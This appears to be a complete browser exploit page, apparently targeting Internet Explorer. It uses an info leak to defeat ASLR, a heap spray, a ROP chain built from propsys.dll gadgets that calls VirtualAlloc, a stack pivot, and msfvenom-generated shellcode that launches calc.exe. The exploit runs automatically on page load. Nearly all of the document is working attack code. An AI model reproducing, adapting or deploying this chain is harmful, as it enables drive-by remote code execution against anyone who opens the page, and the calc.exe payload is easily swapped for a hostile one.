1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219 | <!DOCTYPE html>
<html>
<head>
<style>
.class1 { float: left; column-count: 5; }
.class2 { column-span: all; columns: 1px; }
table {border-spacing: 0px;}
</style>
<script>
var base_leaked_addr = "";
function infoleak() {
var textarea = document.getElementById("textarea");
var frame = document.createElement("iframe");
textarea.appendChild(frame);
frame.contentDocument.onreadystatechange = eventhandler;
form.reset();
}
function eventhandler() {
document.getElementById("textarea").defaultValue = "foo";
// Object replaced here
// one of the side allocations of the audio element
var audioElm = document.createElement("audio");
audioElm.src = "test.mp3";
}
function writeu(base, offs) {
var res = 0;
if (base != 0) { res = base + offs }
else { res = offs }
res = res.toString(16);
while (res.length < 8) res = "0"+res;
return "%u"+res.substring(4,8)+"%u"+res.substring(0,4);
}
function readu(value) {
var uc = escape(value);
var ucsplit = uc.split('%');
var res = parseInt('0x' + ucsplit[2].replace('u', '') + ucsplit[1].replace('u', ''));
return res;
}
function spray() {
// DEPS technique used here - avoid null bytes
var hso = document.createElement("div");
base_leaked_addr = parseInt(base_leaked_addr,16);
var junk = unescape("%u0e0e%u0e0e");
while (junk.length < 0x1000) junk += junk;
var rop = unescape(
writeu(base_leaked_addr,0x56341) +
writeu(base_leaked_addr,0x56341) +
writeu(base_leaked_addr,0x9b7c) +
writeu(0,0xffffffff) +
writeu(base_leaked_addr,0x2a89e) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0x4e385) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0x2030f) +
writeu(base_leaked_addr,0x9b7c) +
writeu(0,0x41414141) +
writeu(0,0x41414141) +
writeu(0,0xf07645d5) +
writeu(base_leaked_addr,0x6e002) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0xaebc) +
writeu(base_leaked_addr,0x9b7c) +
writeu(0,0xffffffbf) +
writeu(base_leaked_addr,0x2a89e) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0x6361b) +
writeu(base_leaked_addr,0x432cf) +
writeu(0,0x41414141) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0x9b7c) +
writeu(base_leaked_addr,0x5cef1) +
writeu(base_leaked_addr,0x4177e) +
writeu(base_leaked_addr,0x9b7c) +
writeu(base_leaked_addr,0x1244) +
writeu(base_leaked_addr,0xa819) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0x2720b) +
"" );
/*
Original VirtualAlloc ROP generated with mona.py - www.corelan.be
Library used "propsys.dll", part of the Windows Search functionality (?)
and last updated Nov 2010. I think it's a good target for our needs.
Fixed to overcome the problem with MOV EAX,80004001 after the PUSHAD instruction
"%u6341%u6af8" + // 0x6af86341 : ,# POP EBP # RETN [PROPSYS.dll]
"%u6341%u6af8" + // 0x6af86341 : ,# skip 4 bytes [PROPSYS.dll]
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
"%uffff%uffff" + // 0xffffffff : ,# Value to negate, will become 0x00000001
"%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%ue385%u6af7" + // 0x6af7e385 : ,# PUSH EAX # ADD AL,5E # XOR EAX,EAX # POP EBX # POP EDI # POP EBP # RETN 0x08 [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (compensate)
"%u4141%u4141" + // 0x41414141 : ,# Filler (compensate) --> changed to 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u45d5%uf076" + // 0xf07645d5 : ,# put delta into eax (-> put 0x00001000 into edx)
"%ue002%u6af9" + // 0x6af9e002 : ,# ADD EAX,0F89CA2B # RETN [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%uaebc%u6af3" + // 0x6af3aebc : ,# XCHG EAX,EDX # RETN [PROPSYS.dll]
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
"%uffc0%uffff" + // 0xffffffc0 : ,# Value to negate, will become 0x00000040
"%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u361b%u6af9" + // 0x6af9361b : ,# XCHG EAX,ECX # ADD DL,B # DEC ECX # RETN 0x08 [PROPSYS.dll]
"%u32cf%u6af7" + // 0x6af732cf : ,# POP EDI # RETN [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u40bd%u6af4" + // 0x6af440bd : ,# RETN (ROP NOP) [PROPSYS.dll]
"%ucef1%u6af8" + // 0x6af8cef1 : ,# POP ESI # RETN [PROPSYS.dll]
"%u177e%u6af7" + // 0x6af7177e : ,# JMP [EAX] [PROPSYS.dll]
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
"%u1244%u6af3" + // 0x6af31244 : ,# ptr to &VirtualAlloc() [IAT PROPSYS.dll]
"%u6af8" + // 0x6af80a14 : ,# PUSHAD # ADD AL,0 # MOV EAX,80004001 # POP EBP # RETN 0x08 [PROPSYS.dll] --> changed to 0x6af3a819 : # PUSHAD # CMP EAX,0C68B6AF3 # POP ESI # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u720b%u6af5" + // 0x6af5720b : ,# ptr to 'jmp esp' [PROPSYS.dll]
*/
// Move ESP to the VirtualAlloc ROP chain
var stack_shift_rop = unescape(
writeu(0,235802130) +
writeu(base_leaked_addr,0x2030f) + // 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
writeu(0,0x0e0e1258) +
writeu(base_leaked_addr,0x28002) + // 0x6af58002 : # MOV EAX,EBX # POP EBX # POP EBP # RETN 0x08 ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
writeu(0,0x41414141) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0x0b473) + //0x6af3b473 : # XCHG EAX,ESP # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
writeu(0,0x41414141) +
writeu(0,0x41414141) +
"");
// root@kali:~# msfvenom -p windows/exec cmd=calc.exe -b "\x00" -f js_le
// ~2854 bytes max
var shellcode = unescape("%uec83%u4070" + // move stack pointer away to avoid shellcode corruption
"%ucadb%ub6ba%u0f7b%ud99f%u2474%u5ef4%uc929%u31b1%uee83%u31fc%u1456%u5603%u99a2%u63fa%udf22%u9c05%u80b2%u798c%u8083%u0aeb%u30b3%u5e7f%uba3f%u4b2d%uceb4%u7cf9%u647d%ub3dc%ud57e%ud51c%u24fc%u3571%ue73d%u3484%u1a7a%u6464%u50d3%u99db%u2c50%u12e0%ua02a%uc660%uc3fa%u5941%u9a71%u5b41%u9656%u43cb%u93bb%uf882%u6f0f%u2915%u905e%u14ba%u636f%u51c2%u9c57%uabb1%u21a4%u6fc2%ufdd7%u7447%u757f%u50ff%u5a7e%u1266%u178c%u7cec%ua690%uf721%u23ac%ud8c4%u7725%ufce3%u236e%ua58a%u82ca%ub6b3%u7bb5%ubc16%u6f5b%u9f2b%u6e31%ua5b9%u7077%ua5c1%u1927%u2ef0%u5ea8%ue50d%u918d%ua447%u39a7%u3c0e%u27fa%ueab1%u5e38%u1f32%ua5c0%u6a2a%ue2c5%u86ec%u7bb7%ua899%u7b64%uca88%uefeb%u2350%u978e%u3bf3" +
"");
var xchg = unescape(writeu(base_leaked_addr, 0x0b473)); // Initial EIP control ---> 0x6af3b473 : # XCHG EAX,ESP # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
var fix1 = 0x15c;
var fixop = unescape("%u0e0e%u0e0e");
var offset_to_stack_shift = 0x6f7;
var offset_to_xchg = 0xd2+2;
// Jumping a bit around here, pretty sure this can be simplified but hey... it works
data = junk.substring(0,fix1-rop.length) + rop + fixop + shellcode + junk.substring(0,offset_to_stack_shift-fix1-fixop.length-shellcode.length) + stack_shift_rop + junk.substring(0,offset_to_xchg-stack_shift_rop.length) + xchg;
data += junk.substring(0,0x800-offset_to_stack_shift-offset_to_xchg-xchg.length);
while (data.length < 0x80000) data += data;
for (var i = 0; i < 0x350; i++)
{
var obj = document.createElement("button");
obj.title = data.substring(0,(0x7fb00-2)/2);
hso.appendChild(obj);
}
}
function boom() {
document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
th1.align = "right";
}
setTimeout(function() {
var txt = document.getElementById("textarea");
var il = txt.value.substring(0,2);
var leaked_addr = readu(il);
base_leaked_addr = leaked_addr - 0xbacc; // base of propsys
base_leaked_addr = base_leaked_addr.toString(16);
spray();
boom();
}, 1000); // can be reduced
</script>
</head>
<body onload=infoleak()>
<form id="form">
<textarea id="textarea" style="display:none" cols="81">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</textarea>
</form>
<script>
</script>
<table cellspacing="0">
<tr class="class1">
<th id="th1" colspan="0" width=2000000></th>
<th class="class2" width=0><div class="class2"></div></th>
</table>
</body>
</html>
|
